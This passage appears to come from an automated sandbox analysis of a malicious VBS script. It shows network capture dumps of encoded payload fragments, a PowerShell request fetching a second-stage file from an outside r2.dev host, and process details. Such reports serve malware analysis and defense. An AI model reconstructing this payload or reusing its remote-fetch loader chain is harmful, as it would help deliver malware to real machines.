2024-10-02 03:23:12 UTC	16384	IN	Data Raw: 38 52 43 53 68 31 41 67 41 47 62 7a 49 6a 41 41 59 52 43 57 2f 47 49 67 41 47 4b 48 59 43 41 41 5a 76 4d 69 4d 41 42 69 68 30 41 67 41 47 45 77 38 67 43 51 41 41 41 48 37 46 43 41 41 45 65 38 49 49 41 41 51 36 7a 50 37 2f 2f 79 59 67 44 51 41 41 41 44 6a 42 2f 76 2f 2f 45 51 49 54 41 79 41 49 41 41 41 41 2f 67 34 4b 41 44 69 72 2f 76 2f 2f 4f 42 73 42 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 37 4d 49 41 41 51 36 6c 76 37 2f 2f 79 59 67 41 41 41 41 41 44 69 4c 2f 76 2f 2f 45 51 45 67 70 30 47 63 33 79 41 44 41 41 41 41 59 79 42 63 44 35 4f 49 59 58 37 46 43 41 41 45 65 38 51 49 41 41 52 68 4b 46 51 43 41 41 59 6f 59 77 49 41 42 68 4d 43 49 42 34 41 41 41 41 34 56 2f 37 2f 2f 78 45 48 4f 6c 6f 42 41 41 41 67 43 67 41 41 41 48 37 46 43 41 41 45 65 Data Ascii: 8RCSh1AgAGbzIjAAYRCW/GIgAGKHYCAAZvMiMABih0AgAGEw8gCQAAAH7FCAAEe8IIAAQ6zP7//yYgDQAAADjB/v//EQITAyAIAAAA/g4KADir/v//OBsBAAAgAAAAAH7FCAAEe7MIAAQ6lv7//yYgAAAAADiL/v//EQEgp0Gc3yADAAAAYyBcD5OIYX7FCAAEe8QIAARhKFQCAAYoYwIABhMCIB4AAAA4V/7//xEHOloBAAAgCgAAAH7FCAAEe
2024-10-02 03:23:12 UTC	16384	IN	Data Raw: 41 41 4f 4d 37 38 2f 2f 38 52 41 54 6b 71 2f 66 2f 2f 49 41 63 41 41 41 42 2b 78 51 67 41 42 48 76 6b 43 41 41 45 4f 72 50 38 2f 2f 38 6d 49 41 49 41 41 41 41 34 71 50 7a 2f 2f 77 41 41 41 52 41 41 41 41 49 41 71 77 44 35 70 41 46 33 41 41 41 41 41 43 5a 2b 6f 51 41 41 42 42 54 2b 41 53 6f 41 41 42 70 2b 6f 51 41 41 42 43 6f 41 4b 76 34 4a 41 41 42 76 5a 51 41 41 43 69 6f 41 4b 76 34 4a 41 41 42 76 54 51 41 41 43 69 6f 41 4c 67 44 2b 43 51 41 41 4b 50 77 6c 41 41 59 71 4c 67 44 2b 43 51 41 41 4b 4c 45 45 41 41 59 71 4b 76 34 4a 41 41 42 76 2b 51 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 2b 41 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 45 43 4d 41 42 69 6f 41 4c 67 44 2b 43 51 41 41 4b 43 55 42 41 41 6f 71 48 67 41 6f 73 41 51 41 42 69 70 4b 2f 67 6b 41 41 Data Ascii: AAOM78//8RATkq/f//IAcAAAB+xQgABHvkCAAEOrP8//8mIAIAAAA4qPz//wAAARAAAAIAqwD5pAF3AAAAACZ+oQAABBT+ASoAABp+oQAABCoAKv4JAABvZQAACioAKv4JAABvTQAACioALgD+CQAAKPwlAAYqLgD+CQAAKLEEAAYqKv4JAABv+QIABioAKv4JAABv+AIABioAKv4JAABvECMABioALgD+CQAAKCUBAAoqHgAosAQABipK/gkAA
2024-10-02 03:23:12 UTC	16384	IN	Data Raw: 6f 49 41 41 51 36 59 50 2f 2f 2f 79 59 67 43 41 41 41 41 44 68 56 2f 2f 2f 2f 4f 47 30 41 41 41 41 67 42 77 41 41 41 48 37 46 43 41 41 45 65 37 67 49 41 41 51 36 50 50 2f 2f 2f 79 59 67 42 41 41 41 41 44 67 78 2f 2f 2f 2f 41 41 49 6f 43 77 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 75 67 67 41 42 44 6b 57 2f 2f 2f 2f 4a 69 41 42 41 41 41 41 4f 41 76 2f 2f 2f 38 41 49 49 66 62 73 78 73 67 6d 4f 66 75 4f 6c 67 67 64 4f 74 35 55 57 46 2b 78 51 67 41 42 48 73 43 43 51 41 45 59 53 67 37 41 77 41 47 4b 44 77 44 41 41 5a 36 42 47 39 67 41 41 41 4b 46 79 68 76 41 77 41 47 45 77 49 67 42 67 41 41 41 48 37 46 43 41 41 45 65 37 30 49 41 41 51 36 77 66 37 2f 2f 79 59 67 43 51 41 41 41 44 69 32 2f 76 2f 2f 41 41 51 55 2f 67 45 54 41 53 41 44 41 41 41 41 4f Data Ascii: oIAAQ6YP///yYgCAAAADhV////OG0AAAAgBwAAAH7FCAAEe7gIAAQ6PP///yYgBAAAADgx////AAIoCwMABiACAAAAfsUIAAR7uggABDkW////JiABAAAAOAv///8AIIfbsxsgmOfuOlggdOt5UWF+xQgABHsCCQAEYSg7AwAGKDwDAAZ6BG9gAAAKFyhvAwAGEwIgBgAAAH7FCAAEe70IAAQ6wf7//yYgCQAAADi2/v//AAQU/gETASADAAAAO
2024-10-02 03:23:12 UTC	16384	IN	Data Raw: 41 41 4f 4b 37 2f 2f 2f 38 52 41 44 70 2f 41 41 41 41 49 41 51 41 41 41 41 34 6e 66 2f 2f 2f 78 45 43 4f 71 49 41 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 38 4d 49 41 41 51 36 67 76 2f 2f 2f 79 59 67 41 41 41 41 41 44 68 33 2f 2f 2f 2f 41 41 49 6f 70 41 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 76 67 67 41 42 44 70 63 2f 2f 2f 2f 4a 69 41 44 41 41 41 41 4f 46 48 2f 2f 2f 38 41 4b 67 41 44 46 43 69 79 41 77 41 47 45 77 41 67 42 51 41 41 41 44 67 37 2f 2f 2f 2f 4f 44 41 41 41 41 41 67 43 41 41 41 41 50 34 4f 41 51 41 34 4a 50 2f 2f 2f 77 41 67 4a 47 76 43 36 53 41 58 47 50 4f 77 59 58 37 46 43 41 41 45 65 38 41 49 41 41 52 68 4b 4b 30 44 41 41 59 6f 73 51 51 41 42 6e 6f 43 65 37 4d 41 41 41 51 54 41 69 41 48 41 41 41 41 4f 50 54 2b 2f Data Ascii: AAOK7///8RADp/AAAAIAQAAAA4nf///xECOqIAAAAgAAAAAH7FCAAEe8MIAAQ6gv///yYgAAAAADh3////AAIopAMABiACAAAAfsUIAAR7vggABDpc////JiADAAAAOFH///8AKgADFCiyAwAGEwAgBQAAADg7////ODAAAAAgCAAAAP4OAQA4JP///wAgJGvC6SAXGPOwYX7FCAAEe8AIAARhKK0DAAYosQQABnoCe7MAAAQTAiAHAAAAOPT+/
2024-10-02 03:23:12 UTC	16384	IN	Data Raw: 4d 41 41 41 45 6f 38 67 4d 41 42 69 6a 7a 41 77 41 47 45 78 51 67 42 51 41 41 41 48 37 46 43 41 41 45 65 78 49 4a 41 41 51 36 42 65 66 2f 2f 79 59 67 41 51 41 41 41 44 6a 36 35 76 2f 2f 41 41 4b 6c 6c 51 41 41 41 58 4f 4d 41 51 41 4b 6a 4a 63 41 41 41 45 54 41 79 41 67 41 41 41 41 4f 4e 33 6d 2f 2f 38 41 45 51 48 51 43 67 41 41 41 53 6a 79 41 77 41 47 4b 50 4d 44 41 41 59 54 48 79 41 4b 41 41 41 41 4f 4c 2f 6d 2f 2f 38 34 73 4f 2f 2f 2f 79 41 4c 41 41 41 41 66 73 55 49 41 41 52 37 33 77 67 41 42 44 71 6d 35 76 2f 2f 4a 69 42 4a 41 41 41 41 4f 4a 76 6d 2f 2f 38 34 32 50 72 2f 2f 79 42 32 41 41 41 41 4f 49 7a 6d 2f 2f 38 41 41 6d 38 6c 41 41 41 4b 4b 4b 49 41 41 41 6f 6f 41 41 51 41 42 6f 79 57 41 41 41 42 45 77 4d 67 44 77 41 41 41 50 34 4f 4c 67 41 34 59 Data Ascii: MAAAEo8gMABijzAwAGExQgBQAAAH7FCAAEexIJAAQ6Bef//yYgAQAAADj65v//AAKllQAAAXOMAQAKjJcAAAETAyAgAAAAON3m//8AEQHQCgAAASjyAwAGKPMDAAYTHyAKAAAAOL/m//84sO///yALAAAAfsUIAAR73wgABDqm5v//JiBJAAAAOJvm//842Pr//yB2AAAAOIzm//8AAm8lAAAKKKIAAAooAAQABoyWAAABEwMgDwAAAP4OLgA4Y
2024-10-02 03:23:12 UTC	16384	IN	Data Raw: 45 41 41 41 42 2b 78 51 67 41 42 48 76 71 43 41 41 45 4f 53 37 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 49 2f 2f 2f 2f 77 41 54 4d 41 51 41 52 67 41 41 41 4d 73 41 41 42 45 41 41 67 4d 45 4b 50 30 42 41 41 6f 41 41 6e 76 38 41 51 41 4b 4f 68 67 41 41 41 41 44 46 6a 38 52 41 41 41 41 41 77 49 6f 2f 67 45 41 43 76 34 43 46 76 34 42 4f 41 45 41 41 41 41 57 43 67 59 35 45 41 41 41 41 41 41 43 65 2f 51 42 41 41 6f 44 42 47 2f 65 41 51 41 4b 41 41 41 71 41 41 41 54 4d 41 51 41 6c 51 45 41 41 41 51 41 41 42 45 67 41 77 41 41 41 50 34 4f 41 41 41 34 41 41 41 41 41 50 34 4d 41 41 42 46 43 77 41 41 41 4b 77 41 41 41 43 48 41 41 41 41 30 77 41 41 41 4f 49 41 41 41 42 55 41 41 41 41 4b 51 41 41 41 41 55 41 41 41 42 45 41 41 41 41 47 67 45 41 41 50 51 41 41 41 43 71 41 Data Ascii: EAAAB+xQgABHvqCAAEOS7///8mIAEAAAA4I////wATMAQARgAAAMsAABEAAgMEKP0BAAoAAnv8AQAKOhgAAAADFj8RAAAAAwIo/gEACv4CFv4BOAEAAAAWCgY5EAAAAAACe/QBAAoDBG/eAQAKAAAqAAATMAQAlQEAAAQAABEgAwAAAP4OAAA4AAAAAP4MAABFCwAAAKwAAACHAAAA0wAAAOIAAABUAAAAKQAAAAUAAABEAAAAGgEAAPQAAACqA
2024-10-02 03:23:12 UTC	16384	IN	Data Raw: 41 44 41 6e 74 45 41 67 41 4b 2f 67 51 4c 42 7a 6b 67 41 41 41 41 41 41 4a 37 52 51 49 41 43 67 4d 43 65 30 55 43 41 41 6f 44 46 31 67 43 65 30 51 43 41 41 6f 44 57 53 6a 51 41 51 41 4b 41 41 41 43 65 30 55 43 41 41 6f 44 42 4b 51 31 41 41 41 62 41 67 4a 37 52 41 49 41 43 68 64 59 66 55 51 43 41 41 6f 71 41 41 41 54 4d 41 4d 41 54 77 41 41 41 41 4d 42 41 42 45 41 41 6e 74 45 41 67 41 4b 43 6a 67 75 41 41 41 41 41 41 59 58 57 51 6f 43 65 30 55 43 41 41 6f 47 6f 7a 55 41 41 42 75 4d 4e 51 41 41 47 77 4f 4d 4e 51 41 41 47 2f 34 42 43 77 63 35 43 41 41 41 41 41 41 47 44 44 67 54 41 41 41 41 41 41 59 57 2f 67 49 4e 43 54 72 48 2f 2f 2f 2f 46 51 77 34 41 41 41 41 41 41 67 71 41 42 4d 77 41 77 41 74 41 41 41 41 62 41 41 41 45 51 41 43 41 79 6a 47 41 51 41 4b 43 Data Ascii: ADAntEAgAK/gQLBzkgAAAAAAJ7RQIACgMCe0UCAAoDF1gCe0QCAAoDWSjQAQAKAAACe0UCAAoDBKQ1AAAbAgJ7RAIAChdYfUQCAAoqAAATMAMATwAAAAMBABEAAntEAgAKCjguAAAAAAYXWQoCe0UCAAoGozUAABuMNQAAGwOMNQAAG/4BCwc5CAAAAAAGDDgTAAAAAAYW/gINCTrH////FQw4AAAAAAgqABMwAwAtAAAAbAAAEQACAyjGAQAKC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49703	162.159.140.237	443	1352	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:23:15 UTC	101	OUT	GET /onye.txt HTTP/1.1 Host: pub-26ee9be236b54d0cb1b570a203543b93.r2.dev Connection: Keep-Alive
2024-10-02 03:23:16 UTC	285	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:23:16 GMT Content-Type: text/plain Content-Length: 208216 Connection: close Accept-Ranges: bytes ETag: "0a78384fc217b24ca48ff444fb12d8bc" Last-Modified: Sun, 22 Sep 2024 14:30:17 GMT Server: cloudflare CF-RAY: 8cc1929d2baade93-EWR
2024-10-02 03:23:16 UTC	1369	IN	Data Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: ==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-02 03:23:16 UTC	1369	IN	Data Raw: 34 47 50 6b 78 54 53 38 30 44 50 33 77 44 4c 38 49 43 50 48 73 44 2b 37 49 2f 4f 6a 76 54 32 37 34 37 4f 76 75 54 71 37 6f 35 4f 51 75 54 64 37 59 32 4f 67 74 54 55 37 63 30 4f 73 73 54 48 37 63 78 4f 49 6f 6a 2f 36 4d 75 4f 55 72 6a 7a 36 38 72 4f 31 71 6a 6d 36 6f 6a 4f 77 6f 6a 4a 36 77 68 4f 53 6f 44 43 35 34 66 4f 61 6e 7a 70 35 63 58 4f 48 6c 6a 47 34 51 4f 4f 71 69 44 51 34 6b 7a 4e 6c 66 44 32 33 4d 39 4e 61 65 7a 6b 32 38 70 4e 51 61 6a 67 32 30 6e 4e 68 59 54 45 31 77 66 4e 74 58 7a 35 31 77 64 4e 2b 57 54 72 31 63 61 4e 69 57 7a 4f 31 38 42 4e 62 54 7a 72 7a 77 37 4d 6f 4f 7a 52 7a 6f 7a 4d 31 49 44 2f 79 67 75 4d 59 4c 6a 69 79 4d 6f 4d 61 4a 7a 55 79 45 6b 4d 5a 49 7a 41 78 67 66 4d 6c 48 44 76 78 49 62 4d 6d 47 6a 44 77 67 4e 41 41 45 41 49 Data Ascii: 4GPkxTS80DP3wDL8ICPHsD+7I/OjvT2747OvuTq7o5OQuTd7Y2OgtTU7c0OssTH7cxOIoj/6MuOUrjz68rO1qjm6ojOwojJ6whOSoDC54fOanzp5cXOHljG4QOOqiDQ4kzNlfD23M9Naezk28pNQajg20nNhYTE1wfNtXz51wdN+WTr1caNiWzO18BNbTzrzw7MoOzRzozM1ID/yguMYLjiyMoMaJzUyEkMZIzAxgfMlHDvxIbMmGjDwgNAAEAI
2024-10-02 03:23:16 UTC	1369	IN	Data Raw: 77 50 4c 2b 44 68 2f 73 33 50 72 39 54 55 2b 63 6d 50 41 30 7a 37 39 59 63 50 38 32 44 6f 39 6f 59 50 72 31 54 5a 39 30 56 50 4e 31 6a 52 39 30 41 50 6d 7a 54 76 38 41 49 50 6f 78 6a 52 38 41 7a 4f 72 76 7a 33 37 73 38 4f 72 75 6a 64 37 55 32 4f 67 73 6a 45 37 67 67 4f 6a 72 6a 5a 36 38 6c 4f 57 70 6a 52 36 63 68 4f 51 6f 7a 42 35 63 66 4f 44 6e 54 69 35 45 59 4f 78 6c 6a 52 35 63 42 4f 36 6a 54 30 34 38 4a 4f 32 68 7a 54 34 77 77 4e 6e 65 7a 59 33 77 30 4e 41 59 54 36 32 30 74 4e 38 61 6a 6b 32 51 6e 4e 65 5a 7a 52 32 30 6a 4e 71 55 7a 37 31 67 62 4e 35 51 6a 71 30 6b 48 4e 66 52 7a 55 30 77 45 4e 35 51 7a 4d 30 49 77 4d 65 50 54 31 7a 45 36 4d 56 4f 54 65 7a 34 31 4d 59 4e 44 50 7a 67 7a 4d 78 4d 7a 4b 7a 55 79 4d 4e 49 7a 36 79 45 75 4d 4c 4c 54 78 79 Data Ascii: wPL+Dh/s3Pr9TU+cmPA0z79YcP82Do9oYPr1TZ90VPN1jR90APmzTv8AIPoxjR8AzOrvz37s8Orujd7U2OgsjE7ggOjrjZ68lOWpjR6chOQozB5cfODnTi5EYOxljR5cBO6jT048JO2hzT4wwNnezY3w0NAYT620tN8ajk2QnNeZzR20jNqUz71gbN5Qjq0kHNfRzU0wEN5QzM0IwMePT1zE6MVOTez41MYNDPzgzMxMzKzUyMNIz6yEuMLLTxy
2024-10-02 03:23:16 UTC	1369	IN	Data Raw: 4e 45 52 44 4f 30 30 43 4e 4d 4d 6a 2f 7a 67 2b 4d 61 50 7a 72 7a 63 36 4d 4d 4f 44 64 7a 6b 31 4d 44 4e 54 48 79 73 75 4d 43 4c 6a 6f 79 73 6f 4d 46 46 7a 30 78 77 63 4d 2b 46 6a 55 78 73 55 4d 45 46 54 50 78 59 54 4d 76 45 7a 4a 78 30 52 4d 54 45 44 43 78 45 41 4d 38 44 6a 38 77 4d 4f 4d 64 44 6a 31 77 34 4d 4d 41 44 7a 75 77 59 4c 4d 69 43 44 6d 77 4d 4a 4d 4f 43 54 66 77 49 48 4d 6f 42 7a 59 77 67 46 41 41 41 41 35 41 41 41 77 41 41 41 41 39 34 65 50 70 33 44 48 39 59 41 50 5a 78 7a 4c 37 30 39 4f 33 75 6a 6a 37 34 33 4f 6e 74 7a 57 37 34 30 4f 30 73 6a 47 37 30 77 4f 43 6f 54 2f 36 49 76 4f 6e 72 6a 34 36 63 74 4f 4d 72 7a 78 36 77 72 4f 78 71 44 72 36 45 71 4f 57 71 7a 6a 36 67 6f 4f 37 70 6a 64 36 73 6d 4f 67 70 7a 57 36 41 6c 4f 46 70 44 51 36 55 Data Ascii: NERDO00CNMMj/zg+MaPzrzc6MMODdzk1MDNTHysuMCLjoysoMFFz0xwcM+FjUxsUMEFTPxYTMvEzJx0RMTEDCxEAM8Dj8wMOMdDj1w4MMADzuwYLMiCDmwMJMOCTfwIHMoBzYwgFAAAA5AAAwAAAA94ePp3DH9YAPZxzL709O3ujj743OntzW740O0sjG70wOCoT/6IvOnrj46ctOMrzx6wrOxqDr6EqOWqzj6goO7pjd6smOgpzW6AlOFpDQ6U
2024-10-02 03:23:16 UTC	1369	IN	Data Raw: 56 54 44 30 30 73 4d 4e 2b 53 54 75 30 51 4c 4e 6e 53 6a 6f 30 30 4a 4e 54 53 6a 6a 30 6b 49 4e 56 52 44 55 30 73 45 4e 2b 51 7a 4e 30 49 44 4e 74 51 6a 47 30 55 42 4e 51 4d 7a 35 7a 30 39 4d 54 50 54 79 7a 6b 33 4d 76 4e 54 5a 7a 73 31 4d 2b 4d 44 4e 7a 6f 79 4d 67 4d 6a 46 79 30 75 4d 6a 4c 54 32 79 63 72 4d 74 4b 7a 6f 79 30 6b 4d 47 4a 44 4b 79 51 51 4d 39 48 7a 37 78 55 65 4d 62 48 54 30 78 63 63 4d 39 47 7a 73 78 6b 61 4d 66 47 54 6c 78 41 5a 4d 34 46 44 43 77 30 50 4d 74 44 7a 34 77 77 4e 4d 56 44 44 79 77 41 4c 4d 6a 43 54 6d 77 4d 4a 4d 36 42 54 61 77 30 46 4d 51 42 54 53 77 77 42 4d 4f 41 6a 42 77 41 41 41 41 45 41 73 41 41 41 67 41 41 41 41 2f 73 2f 50 70 2f 6a 30 2f 30 36 50 6e 2b 7a 51 2f 30 79 50 65 34 44 70 2b 6b 6f 50 76 35 54 56 2b 30 6a Data Ascii: VTD00sMN+STu0QLNnSjo00JNTSjj0kINVRDU0sEN+QzN0IDNtQjG0UBNQMz5z09MTPTyzk3MvNTZzs1M+MDNzoyMgMjFy0uMjLT2ycrMtKzoy0kMGJDKyQQM9Hz7xUeMbHT0xccM9GzsxkaMfGTlxAZM4FDCw0PMtDz4wwNMVDDywALMjCTmwMJM6BTaw0FMQBTSwwBMOAjBwAAAAEAsAAAgAAAA/s/Pp/j0/06Pn+zQ/0yPe4Dp+koPv5TV+0j
2024-10-02 03:23:16 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-02 03:23:16 UTC	1369	IN	Data Raw: 66 52 4a 36 4f 56 34 39 46 61 2f 2f 76 2f 34 67 4f 6e 46 6c 6f 55 48 61 70 78 6f 39 2f 2f 2b 58 45 36 6b 57 55 69 51 5a 62 6c 75 6a 32 2f 2f 37 76 55 6f 44 63 52 4a 43 65 4e 77 54 45 61 2f 2f 76 2f 66 68 4f 39 46 6c 34 42 57 4e 59 52 6f 39 2f 2f 2b 7a 47 36 49 55 55 69 47 2b 44 7a 35 68 32 2f 2f 37 66 65 6f 58 2b 55 6b 69 46 61 57 2f 50 55 55 58 55 6a 57 2f 50 55 67 58 55 6a 57 2f 50 41 79 77 66 52 48 62 47 41 78 67 66 52 48 62 47 62 73 78 64 52 48 62 47 5a 75 49 7a 4d 59 58 30 78 79 56 32 63 31 52 64 52 48 44 41 62 6f 58 30 78 6d 78 47 5a 75 77 47 35 46 64 4d 62 6b 52 6e 62 67 58 30 78 73 78 47 5a 75 77 63 52 48 44 46 78 46 31 6f 33 46 68 49 30 46 68 6f 4d 7a 77 57 5a 49 58 30 78 41 50 6a 62 79 56 32 61 45 58 30 78 77 76 34 2f 2f 37 50 36 6f 6a 62 58 4a Data Ascii: fRJ6OV49Fa//v/4gOnFloUHapxo9//+XE6kWUiQZbluj2//7vUoDcRJCeNwTEa//v/fhO9Fl4BWNYRo9//+zG6IUUiG+Dz5h2//7feoX+UkiFaW/PUUXUjW/PUgXUjW/PAywfRHbGAxgfRHbGbsxdRHbGZuIzMYX0xyV2c1RdRHDAboX0xmxGZuwG5FdMbkRnbgX0xsxGZuwcRHDFxF1o3FhI0FhoMzwWZIX0xAPjbyV2aEX0xwv4//7P6ojbXJ
2024-10-02 03:23:16 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-02 03:23:16 UTC	1369	IN	Data Raw: 75 56 47 63 50 52 58 64 50 56 6d 64 68 64 48 41 6c 64 57 59 7a 4e 58 5a 4e 52 58 64 50 56 6d 64 68 64 6e 4c 6b 31 57 62 75 6c 32 64 41 55 32 5a 68 4e 33 63 6c 31 45 64 31 39 55 5a 32 46 32 64 41 55 57 62 31 78 32 62 57 52 58 5a 48 52 58 64 50 56 6d 64 68 64 6e 4c 6b 31 57 62 75 6c 32 64 41 55 57 62 31 78 32 62 57 52 58 5a 48 52 58 64 50 56 6d 64 68 64 48 41 75 39 57 61 30 6c 32 63 76 42 46 64 6c 64 45 64 31 39 55 5a 32 46 32 64 75 51 57 62 74 35 57 61 33 42 67 62 76 6c 47 64 70 4e 33 62 51 52 58 5a 48 52 58 64 50 56 6d 64 68 64 48 41 6c 52 58 59 53 74 32 59 68 4a 57 65 68 78 47 55 30 56 32 52 30 56 33 54 6c 5a 58 59 33 35 43 5a 74 31 6d 62 70 64 48 41 6c 52 58 59 53 74 32 59 68 4a 57 65 68 78 47 55 30 56 32 52 30 56 33 54 6c 5a 58 59 33 42 41 61 6a 52 58 Data Ascii: uVGcPRXdPVmdhdHAldWYzNXZNRXdPVmdhdnLk1Wbul2dAU2ZhN3cl1Ed19UZ2F2dAUWb1x2bWRXZHRXdPVmdhdnLk1Wbul2dAUWb1x2bWRXZHRXdPVmdhdHAu9Wa0l2cvBFdldEd19UZ2F2duQWbt5Wa3BgbvlGdpN3bQRXZHRXdPVmdhdHAlRXYSt2YhJWehxGU0V2R0V3TlZXY35CZt1mbpdHAlRXYSt2YhJWehxGU0V2R0V3TlZXY3BAajRX
2024-10-02 03:23:16 UTC	1369	IN	Data Raw: 63 31 63 77 46 32 51 32 56 47 52 30 56 32 52 75 6c 55 5a 32 46 32 64 75 51 57 62 74 35 57 61 33 42 77 56 7a 42 58 59 44 5a 58 5a 45 52 58 5a 48 35 57 53 6c 5a 58 59 33 42 51 51 7a 42 58 59 44 5a 58 5a 45 52 58 5a 48 35 57 53 6c 5a 58 59 33 35 43 5a 74 31 6d 62 70 64 48 41 42 4e 48 63 68 4e 6b 64 6c 52 45 64 6c 64 6b 62 4a 56 6d 64 68 64 48 41 6c 4e 33 62 73 4e 6b 62 4a 56 6d 64 68 64 6e 4c 6b 31 57 62 75 6c 32 64 41 55 32 63 76 78 32 51 75 6c 55 5a 32 46 32 64 41 49 58 5a 6d 5a 57 64 43 52 47 5a 42 35 57 53 6c 5a 58 59 33 35 43 5a 74 31 6d 62 70 64 48 41 79 56 6d 5a 6d 56 6e 51 6b 52 57 51 75 6c 55 5a 32 46 32 64 41 51 6e 62 6c 5a 58 52 30 56 32 55 6c 31 57 61 30 35 43 5a 74 31 6d 62 70 64 48 41 30 35 57 5a 32 56 45 64 6c 4e 56 5a 74 6c 47 64 41 51 6e 62 Data Ascii: c1cwF2Q2VGR0V2RulUZ2F2duQWbt5Wa3BwVzBXYDZXZERXZH5WSlZXY3BQQzBXYDZXZERXZH5WSlZXY35CZt1mbpdHABNHchNkdlREdldkbJVmdhdHAlN3bsNkbJVmdhdnLk1Wbul2dAU2cvx2QulUZ2F2dAIXZmZWdCRGZB5WSlZXY35CZt1mbpdHAyVmZmVnQkRWQulUZ2F2dAQnblZXR0V2Ul1Wa05CZt1mbpdHA05WZ2VEdlNVZtlGdAQnb

Target ID:	0
Start time:	23:23:07
Start date:	01/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\89SkYNNpdi.vbs"
Imagebase:	0x7ff7d2820000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	23:23:08
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
